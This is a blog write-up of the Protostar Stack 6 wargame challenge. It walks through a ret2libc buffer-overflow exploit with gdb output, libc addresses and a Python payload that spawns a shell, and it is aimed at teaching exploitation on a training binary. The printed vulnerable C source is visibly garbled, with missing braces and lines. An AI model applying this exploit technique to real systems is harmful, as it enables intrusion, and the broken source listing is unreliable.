Monday, December 17, 2012

exploit-exercises Protostar: Stack 6

This time, we hit on Stack 6 challenge of Exploit-Exercises's Protostar wargame. The source is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
    char buffer[64];
    unsigned int ret;
    printf("input path please: "); fflush(stdout);
    ret = __builtin_return_address(0);
    if((ret & 0xbf000000) == 0xbf000000)
        printf("bzzzt (%p)\n", ret);
    printf("got path %s\n", buffer);

int main(int argc, char **argv)
This time though, we won't be able to write our shellcode on the stack and
return to it because of the ((ret & 0xbf000000) == 0xbf000000) protection. As the challenge suggests, we will be leveraging already loaded in memory functions through the use of ret2libc technique. First, we get the memory addresses of interest to us.
(gdb) break *getpath+43
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, getpath () at stack6/stack6.c:15
warning: Source file is more recent than executable.
15  ret = __builtin_return_address(0);
(gdb) x/40wx $esp
0xbffff740: 0xbffff75c  0x00000000  0xb7fe1b28  0x00000001
0xbffff750: 0x00000000  0x00000001  0xb7fff8f8  0x41414141
0xbffff760: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff770: 0x41414141  0x08049600  0xbffff788  0x0804835c
0xbffff780: 0xb7ff1040  0x080496ec  0xbffff7b8  0x08048539
0xbffff790: 0xb7fd8304  0xb7fd7ff4  0x08048520  0xbffff7b8
0xbffff7a0: 0xb7ec6365  0xb7ff1040  0xbffff7b8  0x08048505
0xbffff7b0: 0x08048520  0x00000000  0xbffff838  0xb7eadc76
0xbffff7c0: 0x00000001  0xbffff864  0xbffff86c  0xb7fe1848
0xbffff7d0: 0xbffff820  0xffffffff  0xb7ffeff4  0x080482a1
(gdb) x/2x $ebp
0xbffff7a8: 0xbffff7b8  0x08048505
(gdb) p $ebp + 4 - 0xbffff75c
$1 = (void *) 0x50
We have 0x50 bytes offset before overwriting the return address. We print the address at which our favorite libc call, system() is loaded as well as exit()'s.
(gdb) p system
$2 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$3 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
system() takes one char pointer as an argument. exit() takes one integer.
int system(const char *command);
void exit(int status);
And now with the payload which will as following:
To get correct addresses to use in our shellcode, we check the core dump of the
user@protostar:~/stack6$ python -c "print 'A'*0x54" | /opt/protostar/bin/stack6
input path please: got path
Segmentation fault (core dumped)
(gdb) x/20x $esp - 0x5c
0xbffff764: 0x00000001  0xb7fff8f8  0x41414141  0x41414141
0xbffff774: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff784: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff794: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff7a4: 0x41414141  0x41414141  0x41414141  0x41414141
Here is the python script to exploit it.
user@protostar:~/stack6$ cat
#!/usr/bin/env python

offset = 0x50
cmd = "/bin/sh;#"
junk = "J" * (offset - len(cmd))
ret1= "\xb0\xff\xec\xb7"
ret2 = "\xc0\x60\xec\xb7"
arg1 = "\x6c\xf7\xff\xbf"
arg2 = "\xf0\xff\xff\xff"

payload = cmd + junk + ret1 + ret2 + arg1 + arg2

print payload
The value of arg2 (exit() argument) may be interesting to the astitute reader. We can't provide 1 as an argument to exit as "\x01\x00\x00\x00" because null bytes will bite us. Unfortunately, exit() ignores the content of the 3 most significant bytes as it takes values between 0 and 255, and thus "\xf0\xff\xff\xff" equals to 240. Why 0xf0 ? Just a not-null value that came across my mind.
Test time!
user@protostar:~/stack6$ python > pwn6
user@protostar:~/stack6$ (cat pwn6; cat) | /opt/protostar/bin/stack6

input path please: got path

user@protostar:~/stack6$ echo $?
And that is it!

No comments:

Post a Comment